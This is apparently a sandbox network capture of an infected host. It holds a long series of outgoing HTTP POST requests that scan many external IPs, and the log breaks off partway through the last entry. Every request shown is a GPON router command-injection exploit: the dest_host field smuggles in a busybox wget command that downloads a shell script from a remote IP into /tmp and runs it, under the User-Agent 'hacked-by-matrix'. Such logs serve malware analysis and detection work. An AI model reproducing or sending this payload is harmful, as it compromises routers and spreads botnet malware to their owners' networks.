Mar 21, 2024 05:23:18.750614882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.13	52088	212.17.175.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750614882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.13	45768	42.74.186.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750648022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.13	42532	212.117.119.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750652075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.13	38874	118.244.102.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750660896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.13	53326	5.37.30.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750683069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.13	57438	118.215.223.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750694990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.13	51828	42.72.10.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750724077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.13	59366	109.21.120.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750725031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.13	42632	118.55.237.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750749111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.13	54948	118.27.244.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750751019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.13	36882	42.5.13.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750771999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.13	52186	212.187.157.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750782013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.13	58278	212.201.47.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750801086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.13	42258	118.159.166.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750817060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.13	52532	212.222.183.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750828028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.13	42766	42.98.209.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750868082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.13	49360	118.154.252.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750895023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.13	45718	109.122.160.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750895023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.13	42190	212.54.209.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750902891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.13	43318	5.61.108.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750916004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.13	35856	42.201.251.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750921011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.13	38372	212.90.111.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750947952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.13	51712	212.226.73.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750955105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.13	47718	42.223.23.71	443

Timestamp	Bytes transferred	Direction	Data
